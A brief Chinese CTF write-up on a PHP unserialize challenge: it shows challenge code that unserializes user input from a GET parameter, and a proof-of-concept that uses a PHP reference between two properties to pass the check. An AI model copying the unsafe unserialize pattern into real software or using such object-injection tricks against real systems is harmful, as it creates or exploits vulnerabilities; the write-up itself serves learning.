南邮PHP反序列化

Posted 2020-12-27 nul1

题目如下：

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET[‘pass‘])) {
    $pass = $_GET[‘pass‘];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can‘t fool me";
    }
    else echo "are you trolling?";
}
?>

主要是涉及了一个PHP对象深浅拷贝，文章：

直接构造POC：

<?php 
class just4fun
{
    var $enter;
    var $secret;
    
    function __construct()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());

 ?>